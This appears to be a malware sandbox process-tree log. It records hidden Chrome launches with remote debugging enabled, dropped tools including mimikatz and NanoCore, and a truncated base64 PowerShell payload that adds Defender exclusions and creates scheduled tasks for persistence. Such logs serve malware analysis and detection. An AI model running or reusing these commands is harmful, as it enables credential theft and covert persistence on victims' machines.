C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1588,i,8893916673004655939,12992161519159922910,262144 --field-trial-handle=2012,i,12906071244871120044,13573744442415838211,262144 --variations-seed-version --mojo-platform-channel-handle=2008 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1816,i,12782546617321391069,14004716662667826634,524288 --field-trial-handle=2012,i,12906071244871120044,13573744442415838211,262144 --variations-seed-version --mojo-platform-channel-handle=2344 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2064,i,6878935743750704437,14968491259298886946,524288 --field-trial-handle=2012,i,12906071244871120044,13573744442415838211,262144 --variations-seed-version --mojo-platform-channel-handle=2376 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2908,i,9316881993690477409,12010472514463429483,2097152 --field-trial-handle=2012,i,12906071244871120044,13573744442415838211,262144 --variations-seed-version --mojo-platform-channel-handle=2956 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2912,i,8823814371468135952,3508578685711282159,2097152 --field-trial-handle=2012,i,12906071244871120044,13573744442415838211,262144 --variations-seed-version --mojo-platform-channel-handle=2960 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4160,i,10461379581276952800,263051789438642605,524288 --field-trial-handle=2012,i,12906071244871120044,13573744442415838211,262144 --variations-seed-version --mojo-platform-channel-handle=4176 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1588,i,17483562551822220397,9784018392140963394,262144 --field-trial-handle=1976,i,1169529931372139505,6508052754829328514,262144 --variations-seed-version --mojo-platform-channel-handle=1972 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1808,i,5783231248742127346,3843017107960696731,524288 --field-trial-handle=1976,i,1169529931372139505,6508052754829328514,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2036,i,14155211264749067308,5271370874579440504,524288 --field-trial-handle=1976,i,1169529931372139505,6508052754829328514,262144 --variations-seed-version --mojo-platform-channel-handle=2272 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2884,i,2235948337954468198,6367673340994188423,2097152 --field-trial-handle=1976,i,1169529931372139505,6508052754829328514,262144 --variations-seed-version --mojo-platform-channel-handle=2900 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2904,i,13878471300135659310,17566721464078349617,2097152 --field-trial-handle=1976,i,1169529931372139505,6508052754829328514,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4080,i,6982683924893730943,18008661921124450457,524288 --field-trial-handle=1976,i,1169529931372139505,6508052754829328514,262144 --variations-seed-version --mojo-platform-channel-handle=4200 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1588,i,8195384333625709395,360519704150790255,262144 --field-trial-handle=2016,i,9501400561339659362,5671973050437344849,262144 --variations-seed-version --mojo-platform-channel-handle=2012 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1800,i,3748016693563594719,5779896257576185028,524288 --field-trial-handle=2016,i,9501400561339659362,5671973050437344849,262144 --variations-seed-version --mojo-platform-channel-handle=1972 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2084,i,6038527027218715072,17316561104039122062,524288 --field-trial-handle=2016,i,9501400561339659362,5671973050437344849,262144 --variations-seed-version --mojo-platform-channel-handle=2104 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2900,i,10938089252333855621,5113501765448246866,2097152 --field-trial-handle=2016,i,9501400561339659362,5671973050437344849,262144 --variations-seed-version --mojo-platform-channel-handle=2904 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2912,i,12319248307086795815,4408150288210887176,2097152 --field-trial-handle=2016,i,9501400561339659362,5671973050437344849,262144 --variations-seed-version --mojo-platform-channel-handle=2924 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4176,i,10675647874936339633,7320857425524799997,524288 --field-trial-handle=2016,i,9501400561339659362,5671973050437344849,262144 --variations-seed-version --mojo-platform-channel-handle=4184 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1588,i,3027089624460433949,13419586057650015879,262144 --field-trial-handle=2308,i,5402201862051457950,8053805304195676040,262144 --variations-seed-version --mojo-platform-channel-handle=2304 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1672,i,14991293098743623720,4514954000716268597,524288 --field-trial-handle=2308,i,5402201862051457950,8053805304195676040,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1960,i,9228634253977600276,2956528944606192398,524288 --field-trial-handle=2308,i,5402201862051457950,8053805304195676040,262144 --variations-seed-version --mojo-platform-channel-handle=2376 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2912,i,16524282327289620062,11529825217397644418,2097152 --field-trial-handle=2308,i,5402201862051457950,8053805304195676040,262144 --variations-seed-version --mojo-platform-channel-handle=2916 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2928,i,7138430614782077829,3971008522635642335,2097152 --field-trial-handle=2308,i,5402201862051457950,8053805304195676040,262144 --variations-seed-version --mojo-platform-channel-handle=2940 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2692,i,6734750369176556134,2944704092634662058,524288 --field-trial-handle=2308,i,5402201862051457950,8053805304195676040,262144 --variations-seed-version --mojo-platform-channel-handle=2684 /prefetch:145⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\PrivacyPolicy.exe"C:\Users\Admin\AppData\Local\Temp\Files\PrivacyPolicy.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-P303R.tmp\PrivacyPolicy.tmp"C:\Users\Admin\AppData\Local\Temp\is-P303R.tmp\PrivacyPolicy.tmp" /SL5="$50108,699759,54272,C:\Users\Admin\AppData\Local\Temp\Files\PrivacyPolicy.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Pulsar-Client.exe"C:\Users\Admin\AppData\Local\Temp\Files\Pulsar-Client.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\prueba.exe"C:\Users\Admin\AppData\Local\Temp\Files\prueba.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\DiscordNitroGenerator.exe"C:\Users\Admin\AppData\Local\Temp\Files\DiscordNitroGenerator.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\DiscordNitroGenerator.exe"C:\Users\Admin\AppData\Local\Temp\Files\DiscordNitroGenerator.exe"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls&title [Discord Nitro Generator] By The_G ^| Welcome :)4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\Files\mimikatz.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NanoCore_Portable.exe"C:\Users\Admin\AppData\Local\Temp\Files\NanoCore_Portable.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempDel.bat" "3⤵
-
C:\Windows\SysWOW64\mode.commode 30,204⤵
-
-
C:\Windows\SysWOW64\timeout.exetimeout /nobreak 104⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 9885⤵
-
-
-
C:\Windows\SysWOW64\timeout.exetimeout /nobreak 34⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\pvp.exe"C:\Users\Admin\AppData\Local\Temp\Files\pvp.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\riende.exe"C:\Users\Admin\AppData\Roaming\riende.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\keygen.exe"C:\Users\Admin\AppData\Local\Temp\Files\keygen.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"2⤵
-
C:\Users\Admin\AppData\Local\07ee6cb9-66af-4daa-85aa-43b60bd70ebf\background.exe"C:\Users\Admin\AppData\Local\07ee6cb9-66af-4daa-85aa-43b60bd70ebf\background.exe"3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAU